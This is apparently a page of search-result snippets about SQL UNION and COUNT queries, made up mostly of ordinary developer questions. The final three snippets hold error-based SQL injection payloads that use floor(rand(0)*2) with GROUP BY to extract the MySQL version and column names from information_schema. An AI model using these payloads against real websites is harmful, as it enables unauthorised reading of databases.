Is it possible to select from the result of a union? For example I'm trying to do something like: … Am I missing anything or making an assumption about how this works?
I am trying to get row count from the following query. I get only row count as 1 but there are 35 records. Could you please let me know how to get the count from inner query? Thank you …
A have a column named key - 1,1,2,2,2,2,3 Now i do it with 3 querys: … How to count in one query how many 1,2,3?
How can I select count(*) from two different tables (call them tab1 and tab2) having as result: Count_1 Count_2 123 456.
I was asked to try to simplify a count() query but I do not know where to begin, the query is something like this: … I was told that the SELECT COUNT(1) FROM (subquery) can be simplified...
I want to select information from two SQL tables within one query, the information is unrelated though, so no potential joints exist. An example could be the following setup. tblMadrid...
Example. SELECT City FROM Customers UNION SELECT City FROM Suppliers ORDER BY City
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))). URL will look like
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a). Notice the LIMIT 0...
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.